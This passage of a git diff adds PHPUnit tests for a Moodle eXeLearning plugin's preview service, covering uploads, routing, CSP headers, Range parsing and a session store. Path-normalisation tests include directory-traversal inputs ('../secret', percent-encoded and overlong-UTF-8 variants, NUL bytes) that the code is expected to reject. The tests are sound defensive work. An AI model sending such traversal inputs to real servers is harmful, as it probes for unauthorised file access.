+        $result = serving::handle_revision_upload($this->session(), $meta, ['<h1>hi</h1>']);
+        $this->assertSame(200, $result['status']);
+        $this->assertSame(1, $result['body']['revision']);
+        $this->assertTrue($result['body']['active']);
+    }
+
+    /**
+     * Malformed revision payloads are 400 across each validated field.
+     */
+    public function test_revision_upload_bad_requests(): void {
+        $this->assertSame(400, serving::handle_revision_upload($this->session(), '[]', [])['status']);
+        $noints = json_encode(['baseRevision' => 'a', 'nextRevision' => 1]);
+        $this->assertSame(400, serving::handle_revision_upload($this->session(), $noints, [])['status']);
+        $badwrites = json_encode(['baseRevision' => 0, 'nextRevision' => 1, 'writes' => [1, 2]]);
+        $this->assertSame(400, serving::handle_revision_upload($this->session(), $badwrites, ['a', 'b'])['status']);
+        $baddeletes = json_encode(['baseRevision' => 0, 'nextRevision' => 1, 'deletes' => [5]]);
+        $this->assertSame(400, serving::handle_revision_upload($this->session(), $baddeletes, [])['status']);
+        $badrefs = json_encode(['baseRevision' => 0, 'nextRevision' => 1, 'assetRefs' => ['p' => 7]]);
+        $this->assertSame(400, serving::handle_revision_upload($this->session(), $badrefs, [])['status']);
+        $misaligned = json_encode(['baseRevision' => 0, 'nextRevision' => 1, 'writes' => ['a.html']]);
+        $this->assertSame(400, serving::handle_revision_upload($this->session(), $misaligned, [])['status']);
+    }
+
+    /**
+     * The document amplification guard rejects an oversized revision (413).
+     */
+    public function test_revision_upload_byte_budget(): void {
+        session_store::set_limits_for_testing(['maxbytespersession' => 4]);
+        $meta = json_encode(['baseRevision' => 0, 'nextRevision' => 1, 'writes' => ['a.html']]);
+        $this->assertSame(413, serving::handle_revision_upload($this->session(), $meta, ['too many bytes'])['status']);
+    }
+
+    /**
+     * A stale revision maps to the wire 409 body.
+     */
+    public function test_revision_upload_conflict_mapping(): void {
+        $first = json_encode(['baseRevision' => 0, 'nextRevision' => 1, 'writes' => ['a.html']]);
+        serving::handle_revision_upload($this->session(), $first, ['A']);
+        $stale = json_encode(['baseRevision' => 0, 'nextRevision' => 1, 'writes' => ['a.html']]);
+        $result = serving::handle_revision_upload($this->session(), $stale, ['B']);
+        $this->assertSame(409, $result['status']);
+        $this->assertSame('revision-conflict', $result['body']['reason']);
+        $this->assertSame(1, $result['body']['currentRevision']);
+    }
+
+    /**
+     * Missing-asset and unknown-fixed rejections map to their wire 422 bodies.
+     */
+    public function test_revision_upload_422_mapping(): void {
+        $ghost = '99999999-9999-4999-8999-999999999999@deadbeef';
+        $missing = json_encode([
+            'baseRevision' => 0, 'nextRevision' => 1, 'writes' => [],
+            'assetRefs' => ['res/x.png' => $ghost],
+        ]);
+        $result = serving::handle_revision_upload($this->session(), $missing, []);
+        $this->assertSame(422, $result['status']);
+        $this->assertSame('missing-assets', $result['body']['reason']);
+        $this->assertSame([$ghost], $result['body']['missing']);
+
+        $unknownfixed = json_encode([
+            'baseRevision' => 0, 'nextRevision' => 1, 'writes' => [],
+            'fixedRefs' => ['libs/x.js' => 'libs/x.js'],
+        ]);
+        $result = serving::handle_revision_upload($this->session(), $unknownfixed, []);
+        $this->assertSame(422, $result['status']);
+        $this->assertSame('unknown-fixed-resources', $result['body']['reason']);
+        $this->assertSame(['libs/x.js'], $result['body']['resources']);
+    }
+
+    /**
+     * A size upload error (php.ini upload_max_filesize) surfaces as 413 with the
+     * offending index/filename, and never as empty content.
+     */
+    public function test_collect_upload_size_error_is_413(): void {
+        $result = serving::collect_upload([
+            ['error' => UPLOAD_ERR_OK, 'name' => 'index.html', 'bytes' => 'A'],
+            ['error' => UPLOAD_ERR_INI_SIZE, 'name' => 'search-index.js', 'bytes' => null],
+        ]);
+        $this->assertFalse($result['ok']);
+        $this->assertSame(413, $result['status']);
+        $this->assertStringContainsString('search-index.js', $result['error']);
+    }
+
+    /**
+     * Any other upload failure (or an unreadable temp file) surfaces as 400.
+     */
+    public function test_collect_upload_other_errors_are_400(): void {
+        foreach ([UPLOAD_ERR_PARTIAL, UPLOAD_ERR_NO_TMP_DIR, UPLOAD_ERR_CANT_WRITE] as $code) {
+            $result = serving::collect_upload([['error' => $code, 'name' => 'x', 'bytes' => null]]);
+            $this->assertFalse($result['ok']);
+            $this->assertSame(400, $result['status']);
+        }
+        // Error OK but the bytes could not be read (missing/unreadable temp).
+        $unreadable = serving::collect_upload([['error' => UPLOAD_ERR_OK, 'name' => 'x', 'bytes' => null]]);
+        $this->assertFalse($unreadable['ok']);
+        $this->assertSame(400, $unreadable['status']);
+    }
+
+    /**
+     * With every part OK the bytes are returned index-aligned.
+     */
+    public function test_collect_upload_happy(): void {
+        $result = serving::collect_upload([
+            ['error' => UPLOAD_ERR_OK, 'name' => 'a', 'bytes' => 'AAA'],
+            ['error' => UPLOAD_ERR_OK, 'name' => 'b', 'bytes' => 'BB'],
+        ]);
+        $this->assertTrue($result['ok']);
+        $this->assertSame(['AAA', 'BB'], $result['files']);
+    }
+
+    /**
+     * A revision whose document upload tripped the php.ini size limit is REJECTED
+     * (413) and NO revision is published — the document must never be silently
+     * stored as a 0-byte file (the confirmed data-integrity bug).
+     */
+    public function test_revision_request_rejects_oversized_upload_without_publishing(): void {
+        $meta = json_encode([
+            'baseRevision' => 0, 'nextRevision' => 1,
+            'writes' => ['index.html'], 'deletes' => [], 'assetRefs' => [], 'fixedRefs' => [],
+        ]);
+        $parts = [['error' => UPLOAD_ERR_INI_SIZE, 'name' => 'index.html', 'bytes' => null]];
+        $result = serving::handle_revision_request($this->session(), $meta, $parts);
+
+        $this->assertSame(413, $result['status']);
+        // The store is untouched: still revision 0, and the document was not written.
+        $session = $this->session();
+        $this->assertSame(0, $session->revision);
+        $this->assertNull($session->get_file('index.html'));
+    }
+
+    /**
+     * A failed asset upload is rejected and nothing is stored (a later revision
+     * that references the key 422s on missing-assets).
+     */
+    public function test_assets_request_rejects_failed_upload(): void {
+        $assets = json_encode([['key' => self::PHOTO_KEY, 'size' => 3]]);
+        $parts = [['error' => UPLOAD_ERR_INI_SIZE, 'name' => 'photo.png', 'bytes' => null]];
+        $result = serving::handle_assets_request($this->session(), $assets, $parts);
+        $this->assertSame(413, $result['status']);
+
+        $meta = json_encode([
+            'baseRevision' => 0, 'nextRevision' => 1, 'writes' => [],
+            'assetRefs' => ['res/photo.png' => self::PHOTO_KEY], 'fixedRefs' => [],
+        ]);
+        $missing = serving::handle_revision_upload($this->session(), $meta, []);
+        $this->assertSame(422, $missing['status']);
+        $this->assertSame('missing-assets', $missing['body']['reason']);
+    }
+
+    /**
+     * A well-formed upload flows through the request wrapper and publishes.
+     */
+    public function test_revision_request_happy(): void {
+        $meta = json_encode([
+            'baseRevision' => 0, 'nextRevision' => 1,
+            'writes' => ['index.html'], 'deletes' => [], 'assetRefs' => [], 'fixedRefs' => [],
+        ]);
+        $parts = [['error' => UPLOAD_ERR_OK, 'name' => 'index.html', 'bytes' => '<h1>ok</h1>']];
+        $result = serving::handle_revision_request($this->session(), $meta, $parts);
+        $this->assertSame(200, $result['status']);
+        $this->assertSame(1, $result['body']['revision']);
+        $this->assertSame('<h1>ok</h1>', $this->session()->get_file('index.html')->bytes);
+    }
+
+    /**
+     * The normalized dispatcher maps HTTP method + PATH_INFO onto the four
+     * contract operations (create / assets / revision / delete), replacing the
+     * legacy action= parameter. cmid and sesskey stay in the query, never the path.
+     */
+    public function test_route_management_maps_operations(): void {
+        $id = 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000';
+
+        $create = serving::route_management('POST', '');
+        $this->assertSame('create', $create['op']);
+        $this->assertNull($create['previewid']);
+        // A bare "/" PATH_INFO is create too.
+        $this->assertSame('create', serving::route_management('POST', '/')['op']);
+
+        $assets = serving::route_management('POST', '/' . $id . '/assets');
+        $this->assertSame('assets', $assets['op']);
+        $this->assertSame($id, $assets['previewid']);
+
+        $revision = serving::route_management('POST', '/' . $id . '/revisions');
+        $this->assertSame('revision', $revision['op']);
+        $this->assertSame($id, $revision['previewid']);
+
+        $delete = serving::route_management('DELETE', '/' . $id);
+        $this->assertSame('delete', $delete['op']);
+        $this->assertSame($id, $delete['previewid']);
+    }
+
+    /**
+     * A known route with the wrong method is 405 (and names the allowed method);
+     * an unknown or too-deep path is 404. No action= back-compat remains.
+     */
+    public function test_route_management_rejects_bad_method_and_path(): void {
+        $id = 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000';
+
+        $wrongcreate = serving::route_management('GET', '');
+        $this->assertSame('error', $wrongcreate['op']);
+        $this->assertSame(405, $wrongcreate['status']);
+        $this->assertSame('POST', $wrongcreate['allow']);
+
+        $wrongdelete = serving::route_management('POST', '/' . $id);
+        $this->assertSame(405, $wrongdelete['status']);
+        $this->assertSame('DELETE', $wrongdelete['allow']);
+
+        $wrongassets = serving::route_management('GET', '/' . $id . '/assets');
+        $this->assertSame(405, $wrongassets['status']);
+        $this->assertSame('POST', $wrongassets['allow']);
+
+        $unknown = serving::route_management('POST', '/' . $id . '/frobnicate');
+        $this->assertSame('error', $unknown['op']);
+        $this->assertSame(404, $unknown['status']);
+        $this->assertNull($unknown['allow']);
+
+        $toodeep = serving::route_management('POST', '/' . $id . '/assets/extra');
+        $this->assertSame(404, $toodeep['status']);
+    }
+}
diff --git a/tests/local/preview/serving_test.php b/tests/local/preview/serving_test.php
new file mode 100644
index 0000000..155de1c
--- /dev/null
+++ b/tests/local/preview/serving_test.php
@@ -0,0 +1,332 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning\local\preview;
+
+use advanced_testcase;
+
+/**
+ * Unit tests for the preview serving protocol/response helpers (contract v2).
+ *
+ * @package    mod_exelearning
+ * @category   test
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ * @covers     \mod_exelearning\local\preview\serving
+ */
+final class serving_test extends advanced_testcase {
+    /**
+     * The emitted CSP MUST be byte-identical to eXe core previewCspHeader():
+     * a single line, directives joined by "; ", no trailing ";", sandbox first.
+     */
+    public function test_csp_header_is_byte_identical_to_core(): void {
+        $expected = "sandbox allow-scripts allow-popups allow-forms; "
+            . "default-src 'self'; "
+            . "script-src 'self' 'unsafe-inline' 'unsafe-eval'; "
+            . "style-src 'self' 'unsafe-inline'; "
+            . "img-src 'self' data: blob: https:; "
+            . "media-src 'self' data: blob: https:; "
+            . "font-src 'self' data:; "
+            . "connect-src 'self'; "
+            . "frame-src 'self' https://www.youtube-nocookie.com https://player.vimeo.com; "
+            . "child-src 'self' https://www.youtube-nocookie.com https://player.vimeo.com; "
+            . "object-src 'none'; "
+            . "base-uri 'none'; "
+            . "form-action 'self'; "
+            . "frame-ancestors 'self'";
+        $this->assertSame($expected, serving::csp_header());
+        // The preview CSP is ALWAYS opaque: it must never carry allow-same-origin,
+        // even if the published-content legacy escape hatch is enabled.
+        putenv('EXELEARNING_UNSAFE_LEGACY_IFRAME=1');
+        try {
+            $this->assertStringNotContainsString('allow-same-origin', serving::csp_header());
+        } finally {
+            putenv('EXELEARNING_UNSAFE_LEGACY_IFRAME');
+        }
+    }
+
+    /**
+     * The Permissions-Policy is the 4-feature preview value.
+     */
+    public function test_permissions_policy(): void {
+        $this->assertSame('camera=(), microphone=(), geolocation=(), payment=()', serving::permissions_policy());
+    }
+
+    /**
+     * Base headers carry the hardening set and deliberately NOT Cache-Control
+     * (that is tiered per resolution layer by the caller).
+     */
+    public function test_base_headers(): void {
+        $headers = serving::base_headers();
+        $this->assertSame('nosniff', $headers['X-Content-Type-Options']);
+        $this->assertSame('no-referrer', $headers['Referrer-Policy']);
+        $this->assertSame('*', $headers['Access-Control-Allow-Origin']);
+        $this->assertArrayHasKey('Permissions-Policy', $headers);
+        $this->assertArrayNotHasKey('Cache-Control', $headers);
+    }
+
+    /**
+     * The sandbox CSP rides on every scriptable document type, not just HTML.
+     */
+    public function test_is_scriptable(): void {
+        $this->assertTrue(serving::is_scriptable('text/html; charset=utf-8'));
+        $this->assertTrue(serving::is_scriptable('image/svg+xml; charset=utf-8'));
+        $this->assertTrue(serving::is_scriptable('application/xml'));
+        $this->assertTrue(serving::is_scriptable('text/xml'));
+        $this->assertTrue(serving::is_scriptable('application/xhtml+xml'));
+        $this->assertFalse(serving::is_scriptable('text/css'));
+        $this->assertFalse(serving::is_scriptable('image/png'));
+        $this->assertFalse(serving::is_scriptable('application/javascript'));
+    }
+
+    /**
+     * Content types mirror core: textual types (incl. svg/xml/js/json) get a
+     * UTF-8 charset; binary types do not; unknown extensions fall back.
+     */
+    public function test_content_type_for(): void {
+        $this->assertSame('text/html; charset=utf-8', serving::content_type_for('index.html'));
+        $this->assertSame('image/svg+xml; charset=utf-8', serving::content_type_for('a/icon.svg'));
+        $this->assertSame('text/css; charset=utf-8', serving::content_type_for('theme/content.css'));
+        $this->assertSame('application/javascript; charset=utf-8', serving::content_type_for('libs/x.js'));
+        $this->assertSame('application/json; charset=utf-8', serving::content_type_for('data.json'));
+        $this->assertSame('application/xml; charset=utf-8', serving::content_type_for('feed.xml'));
+        $this->assertSame('image/png', serving::content_type_for('img/photo.png'));
+        $this->assertSame('video/mp4', serving::content_type_for('media/clip.mp4'));
+        $this->assertSame('application/octet-stream', serving::content_type_for('blob.unknownext'));
+    }
+
+    /**
+     * Path normalization is traversal-safe: it defaults to index.html, strips
+     * leading slashes, resolves '.'/'..', and rejects escapes (literal and
+     * percent-encoded), NUL bytes and malformed encoding.
+     */
+    public function test_normalize_content_path(): void {
+        $this->assertSame('index.html', serving::normalize_content_path(''));
+        $this->assertSame('foo/bar', serving::normalize_content_path('/foo/bar'));
+        $this->assertSame('foo/bar', serving::normalize_content_path('///foo/bar'));
+        $this->assertSame('b', serving::normalize_content_path('a/../b'));
+        $this->assertSame('c', serving::normalize_content_path('a/b/../../c'));
+        $this->assertSame('foo bar.png', serving::normalize_content_path('foo%20bar.png'));
+        $this->assertSame('index.html', serving::normalize_content_path('?x=1'));
+
+        $this->assertNull(serving::normalize_content_path('../secret'));
+        $this->assertNull(serving::normalize_content_path('%2e%2e%2fsecret'));
+        $this->assertNull(serving::normalize_content_path('..'));
+        $this->assertNull(serving::normalize_content_path("with\0nul"));
+        $this->assertNull(serving::normalize_content_path('bad%zz'));
+    }
+
+    /**
+     * Byte-for-byte parity with core: JS decodeURIComponent throws (=> null =>
+     * 404) on percent-sequences that decode to invalid UTF-8, so the PHP mirror
+     * must reject them too — an overlong '/', a lone continuation byte, and a
+     * lone surrogate — rather than passing the raw bytes through. Valid encoding
+     * (ASCII and multibyte) still resolves.
+     */
+    public function test_normalize_content_path_rejects_invalid_utf8(): void {
+        $this->assertNull(serving::normalize_content_path('%C0%AF'));
+        $this->assertNull(serving::normalize_content_path('a%C0%AFb'));
+        $this->assertNull(serving::normalize_content_path('%80'));
+        $this->assertNull(serving::normalize_content_path('%ED%A0%80'));
+
+        $this->assertSame('html/page-2.html', serving::normalize_content_path('html/page-2.html'));
+        $this->assertSame("resum\u{00e9}.html", serving::normalize_content_path('resum%C3%A9.html'));
+    }
+
+    /**
+     * The authless serving endpoint must suppress debug output: any notice or
+     * warning printed on a $CFG->debugdisplay-on site would prepend garbage to
+     * the byte-exact preview/asset body (and could defeat the headers/CSP
+     * contract). preview.php defines NO_DEBUG_DISPLAY before requiring config.
+     */
+    public function test_serving_endpoint_suppresses_debug_output(): void {
+        $source = file_get_contents(__DIR__ . '/../../../preview.php');
+        $this->assertNotFalse($source);
+        $definepos = strpos($source, "define('NO_DEBUG_DISPLAY', true);");
+        $requirepos = strpos($source, "require(__DIR__ . '/../../config.php');");
+        $this->assertNotFalse($definepos, 'preview.php must define NO_DEBUG_DISPLAY');
+        $this->assertNotFalse($requirepos);
+        $this->assertLessThan($requirepos, $definepos, 'NO_DEBUG_DISPLAY must be defined before config.php');
+    }
+
+    /**
+     * A single-range Range header parses to an inclusive window or a suffix
+     * window; a syntactically valid but unsatisfiable single range is the
+     * 'unsatisfiable' sentinel (416); no header, a malformed header, a multi-range
+     * set, or a non-"bytes" unit are all ignored (null ⇒ a normal 200 full body).
+     */
+    public function test_parse_range(): void {
+        $this->assertNull(serving::parse_range(null, 10));
+        $this->assertNull(serving::parse_range('', 10));
+        $this->assertSame(['start' => 2, 'end' => 4], serving::parse_range('bytes=2-4', 10));
+        $this->assertSame(['start' => 2, 'end' => 9], serving::parse_range('bytes=2-', 10));
+        $this->assertSame(['start' => 7, 'end' => 9], serving::parse_range('bytes=-3', 10));
+        $this->assertSame(['start' => 2, 'end' => 9], serving::parse_range('bytes=2-100', 10));
+
+        // Syntactically valid single ranges that cannot be satisfied → 416:
+        // first-byte-pos >= length, and a zero suffix.
+        $this->assertSame('unsatisfiable', serving::parse_range('bytes=99-', 10));
+        $this->assertSame('unsatisfiable', serving::parse_range('bytes=-0', 10));
+
+        // Ignored (served as full 200): non-"bytes" unit, multi-range, garbage,
+        // "bytes=-" (no bounds), and an inverted spec (last < first, RFC-invalid).
+        $this->assertNull(serving::parse_range('bytes=5-2', 10));
+        // Structural invalidity wins over satisfiability: an inverted spec whose
+        // first-byte-pos is ALSO beyond the body is ignored (200), never a 416.
+        $this->assertNull(serving::parse_range('bytes=15-2', 10));
+        $this->assertNull(serving::parse_range('bytes=-', 10));
+        $this->assertNull(serving::parse_range('kilobytes=1-2', 10));
+        $this->assertNull(serving::parse_range('bytes=0-1,3-4', 10));
+        $this->assertNull(serving::parse_range('bytes=abc', 10));
+        $this->assertNull(serving::parse_range('bytes=1-2-3', 10));
+    }
+
+    /**
+     * If-None-Match matches any listed (optionally weak) tag or the wildcard.
+     */
+    public function test_if_none_match_matches(): void {
+        $this->assertFalse(serving::if_none_match_matches(null, 'key'));
+        $this->assertTrue(serving::if_none_match_matches('"key"', 'key'));
+        $this->assertTrue(serving::if_none_match_matches('W/"key"', 'key'));
+        $this->assertTrue(serving::if_none_match_matches('*', 'key'));
+        $this->assertTrue(serving::if_none_match_matches('"x", "key"', 'key'));
+        $this->assertFalse(serving::if_none_match_matches('"other"', 'key'));
+    }
+
+    /**
+     * The 404 response carries base headers + no-store + a plain-text body and
+     * never a CSP.
+     */
+    public function test_not_found(): void {
+        $response = serving::not_found();
+        $this->assertSame(404, $response['status']);
+        $this->assertSame('no-store', $response['headers']['Cache-Control']);
+        $this->assertSame('nosniff', $response['headers']['X-Content-Type-Options']);
+        $this->assertSame('*', $response['headers']['Access-Control-Allow-Origin']);
+        $this->assertArrayNotHasKey('Content-Security-Policy', $response['headers']);
+        $this->assertSame('Not found', $response['body']);
+    }
+
+    /**
+     * The capability-path split flags the bare-root form ("/{previewId}" and
+     * "/{previewId}/") so the endpoint can redirect it, and otherwise returns the
+     * previewId + the relative path (a leading slash is optional).
+     */
+    public function test_parse_capability_path(): void {
+        $id = 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000';
+
+        $bare = serving::parse_capability_path('/' . $id);
+        $this->assertSame($id, $bare['previewid']);
+        $this->assertSame('', $bare['relpath']);
+        $this->assertTrue($bare['bareroot']);
+        $this->assertFalse($bare['trailingslash']);
+
+        $bareslash = serving::parse_capability_path('/' . $id . '/');
+        $this->assertSame($id, $bareslash['previewid']);
+        $this->assertSame('', $bareslash['relpath']);
+        $this->assertTrue($bareslash['bareroot']);
+        $this->assertTrue($bareslash['trailingslash']);
+
+        $withpath = serving::parse_capability_path('/' . $id . '/html/page-2.html');
+        $this->assertSame($id, $withpath['previewid']);
+        $this->assertSame('html/page-2.html', $withpath['relpath']);
+        $this->assertFalse($withpath['bareroot']);
+        $this->assertFalse($withpath['trailingslash']);
+
+        // The leading slash is optional (get_file_argument may omit it).
+        $noslash = serving::parse_capability_path($id . '/index.html');
+        $this->assertSame($id, $noslash['previewid']);
+        $this->assertSame('index.html', $noslash['relpath']);
+        $this->assertFalse($noslash['bareroot']);
+    }
+
+    /**
+     * The bare-root Location is RELATIVE and resolves to the session's index.html
+     * against the request URL: "{previewId}/index.html" without a trailing slash,
+     * just "index.html" with one.
+     */
+    public function test_bare_root_location(): void {
+        $id = 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000';
+        $this->assertSame($id . '/index.html', serving::bare_root_location($id, false));
+        $this->assertSame('index.html', serving::bare_root_location($id, true));
+    }
+
+    /**
+     * The bare-root redirect is a 302 to index.html carrying the base hardening
+     * headers + no-store, and never a CSP.
+     */
+    public function test_redirect_to_index(): void {
+        $location = 'https://moodle.example/mod/exelearning/preview.php/'
+            . 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000/index.html';
+        $response = serving::redirect_to_index($location);
+        $this->assertSame(302, $response['status']);
+        $this->assertSame($location, $response['headers']['Location']);
+        $this->assertSame('no-store', $response['headers']['Cache-Control']);
+        $this->assertSame('nosniff', $response['headers']['X-Content-Type-Options']);
+        $this->assertSame('*', $response['headers']['Access-Control-Allow-Origin']);
+        $this->assertArrayNotHasKey('Content-Security-Policy', $response['headers']);
+        $this->assertSame('', $response['body']);
+    }
+
+    /**
+     * The serving endpoint wires the bare-root redirect: preview.php splits the
+     * capability path and, on the bare-root form, emits redirect_to_index rather
+     * than serving document bytes (the entry-point script is out of coverage
+     * scope, so this asserts the wiring at the source level, like the
+     * NO_DEBUG_DISPLAY check above).
+     */
+    public function test_serving_endpoint_redirects_bare_root(): void {
+        $source = file_get_contents(__DIR__ . '/../../../preview.php');
+        $this->assertNotFalse($source);
+        $this->assertStringContainsString('parse_capability_path', $source);
+        $this->assertStringContainsString("\$parsed['bareroot']", $source);
+        $this->assertStringContainsString('redirect_to_index', $source);
+    }
+
+    /**
+     * The editor bootstrap injects the normalized previewHttp activation block
+     * pointing at this plugin's two endpoints, and gates it on the Playground so a
+     * preview-capable editor build fails closed there (editor/index.php is an
+     * entry-point script outside coverage scope, so this asserts the wiring at the
+     * source level, like the preview.php checks above).
+     */
+    public function test_editor_bootstrap_injects_preview_http_config(): void {
+        $source = file_get_contents(__DIR__ . '/../../../editor/index.php');
+        $this->assertNotFalse($source);
+        $this->assertStringContainsString("'previewHttp'", $source);
+        $this->assertStringContainsString('/mod/exelearning/editor/preview_session.php', $source);
+        $this->assertStringContainsString('/mod/exelearning/preview.php', $source);
+        $this->assertStringContainsString("'managementQuery'", $source);
+        // Fails closed under the Playground: the block is omitted there.
+        $this->assertStringContainsString('MOODLE_PLAYGROUND', $source);
+    }
+
+    /**
+     * The service-worker neutralization stub returns a faithful registration
+     * shape (non-empty scope + a no-op addEventListener), not a bare
+     * { scope: "" } that the editor's preview provider aborts on when it calls
+     * registration.addEventListener("updatefound", …).
+     */
+    public function test_editor_bootstrap_sw_stub_is_faithful(): void {
+        $source = file_get_contents(__DIR__ . '/../../../editor/index.php');
+        $this->assertNotFalse($source);
+        $this->assertStringContainsString('fakeSwRegistration', $source);
+        $this->assertStringContainsString('addEventListener: function() {}', $source);
+        // No register path resolves the bare stub that aborted the preview
+        // provider (the explanatory comment names the shape, so match the return).
+        $this->assertStringNotContainsString('Promise.resolve({ scope: "" })', $source);
+    }
+}
diff --git a/tests/local/preview/session_store_test.php b/tests/local/preview/session_store_test.php
new file mode 100644
index 0000000..6791012
--- /dev/null
+++ b/tests/local/preview/session_store_test.php
@@ -0,0 +1,547 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning\local\preview;
+
+use advanced_testcase;
+
+/**
+ * Unit tests for the file-backed preview session store and its session handle.
+ *
+ * @package    mod_exelearning
+ * @category   test
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ * @covers     \mod_exelearning\local\preview\session_store
+ * @covers     \mod_exelearning\local\preview\preview_session
+ */
+final class session_store_test extends advanced_testcase {
+    /** @var string A valid photo assetKey. */
+    private const PHOTO_KEY = 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000@9c41d2e8a1b03f57';
+
+    /** @var string A valid clip assetKey. */
+    private const CLIP_KEY = '12345678-90ab-4cde-8f01-234567890abc@00112233';
+
+    /** @var int The owning user's id. */
+    private $userid = 4242;
+
+    /** @var string The current session's previewId. */
+    private $previewid;
+
+    /** @var string The store root for this test. */
+    private $root;
+
+    /**
+     * Isolate the store under a throwaway root and create one session.
+     */
+    protected function setUp(): void {
+        parent::setUp();
+        $this->resetAfterTest();
+        $this->root = make_request_directory();
+        session_store::set_root_for_testing($this->root);
+        $this->previewid = session_store::create_session($this->userid);
+    }
+
+    /**
+     * Reset store overrides after each test.
+     */
+    protected function tearDown(): void {
+        session_store::reset_root_for_testing();
+        session_store::reset_limits_for_testing();
+        session_store::reset_enumerate_count_for_testing();
+        fixed_resources::reset();
+        parent::tearDown();
+    }
+
+    /**
+     * Reload a fresh session handle (statelessness: each request re-reads meta).
+     *
+     * @return preview_session
+     */
+    private function reload(): preview_session {
+        $owned = session_store::get_owned($this->previewid, $this->userid);
+        $this->assertSame(200, $owned['status']);
+        return $owned['session'];
+    }
+
+    /**
+     * Store assets by (key => bytes), computing declared sizes honestly.
+     *
+     * @param array $assets Map of assetKey => raw bytes.
+     * @return array
+     */
+    private function store(array $assets): array {
+        $entries = [];
+        foreach ($assets as $key => $bytes) {
+            $entries[] = ['key' => $key, 'declaredsize' => strlen($bytes), 'bytes' => $bytes];
+        }
+        return session_store::store_assets($this->reload(), $entries);
+    }
+
+    /**
+     * Publish a revision from writes(path => bytes) and the given meta.
+     *
+     * @param int $base
+     * @param int $next
+     * @param array $writes Map of served path => document bytes.
+     * @param array $assetrefs Map of served path => assetKey.
+     * @param array $fixedrefs Map of served path => fixedResourceId.
+     * @param string[] $deletes
+     * @return array
+     */
+    private function publish(
+        int $base,
+        int $next,
+        array $writes,
+        array $assetrefs = [],
+        array $fixedrefs = [],
+        array $deletes = []
+    ): array {
+        $bufferedwrites = [];
+        foreach ($writes as $path => $bytes) {
+            $bufferedwrites[] = ['path' => $path, 'bytes' => $bytes];
+        }
+        return session_store::apply_revision($this->reload(), [
+            'baserevision' => $base,
+            'nextrevision' => $next,
+            'deletes' => $deletes,
+            'assetrefs' => $assetrefs,
+            'fixedrefs' => $fixedrefs,
+        ], $bufferedwrites);
+    }
+
+    /**
+     * A fresh session has a UUID previewId, revision 0 and serves nothing.
+     */
+    public function test_create_session_starts_empty(): void {
+        $this->assertMatchesRegularExpression(serving::UUID_RE, $this->previewid);
+        $session = $this->reload();
+        $this->assertSame(0, $session->revision);
+        $this->assertNull($session->get_file('index.html'));
+    }
+
+    /**
+     * Assets store once; a re-upload with different bytes is reported
+     * alreadyStored and the original bytes keep serving (immutability).
+     */
+    public function test_asset_store_and_immutability(): void {
+        $result = $this->store([self::PHOTO_KEY => 'PHOTO-BYTES-v1', self::CLIP_KEY => '0123456789']);
+        $this->assertSame([self::PHOTO_KEY, self::CLIP_KEY], $result['stored']);
+        $this->assertSame([], $result['alreadyStored']);
+        $this->assertSame([], $result['rejected']);
+
+        $reupload = $this->store([self::PHOTO_KEY => 'PHOTO-BYTES-v2-DIFFERENT']);
+        $this->assertSame([], $reupload['stored']);
+        $this->assertSame([self::PHOTO_KEY], $reupload['alreadyStored']);
+
+        // Reference the asset from a revision and confirm the ORIGINAL bytes serve.
+        $this->publish(0, 1, ['index.html' => '<p>ok</p>'], ['res/photo.png' => self::PHOTO_KEY]);
+        $file = $this->reload()->get_file('res/photo.png');
+        $this->assertSame('asset', $file->kind);
+        $this->assertSame('PHOTO-BYTES-v1', $file->bytes);
+        $this->assertSame(self::PHOTO_KEY, $file->etag);
+        $this->assertSame('image/png', $file->contenttype);
+    }
+
+    /**
+     * Per-entry asset rejections carry a reason and never store the bytes.
+     */
+    public function test_asset_rejections(): void {
+        // Malformed key.
+        $badkey = $this->store(['not-a-valid-key' => 'x']);
+        $this->assertSame([['key' => 'not-a-valid-key', 'reason' => 'invalid-key']], $badkey['rejected']);
+
+        // Declared size that disagrees with the actual bytes.
+        $mismatch = session_store::store_assets($this->reload(), [
+            ['key' => self::PHOTO_KEY, 'declaredsize' => 999, 'bytes' => 'short'],
+        ]);
+        $this->assertSame([['key' => self::PHOTO_KEY, 'reason' => 'size-mismatch']], $mismatch['rejected']);
+
+        // Per-asset byte cap.
+        session_store::set_limits_for_testing(['maxassetbytes' => 4]);
+        $toobig = $this->store([self::CLIP_KEY => '0123456789']);
+        $this->assertSame([['key' => self::CLIP_KEY, 'reason' => 'asset-too-large']], $toobig['rejected']);
+    }
+
+    /**
+     * The per-session byte budget rejects an asset that would overflow it.
+     */
+    public function test_asset_session_budget(): void {
+        session_store::set_limits_for_testing(['maxbytespersession' => 5]);
+        $result = $this->store([self::PHOTO_KEY => '0123456789']);
+        $this->assertSame([['key' => self::PHOTO_KEY, 'reason' => 'session-budget-exceeded']], $result['rejected']);
+    }
+
+    /**
+     * A happy revision serves generated documents (no-store, HTML scriptable).
+     */
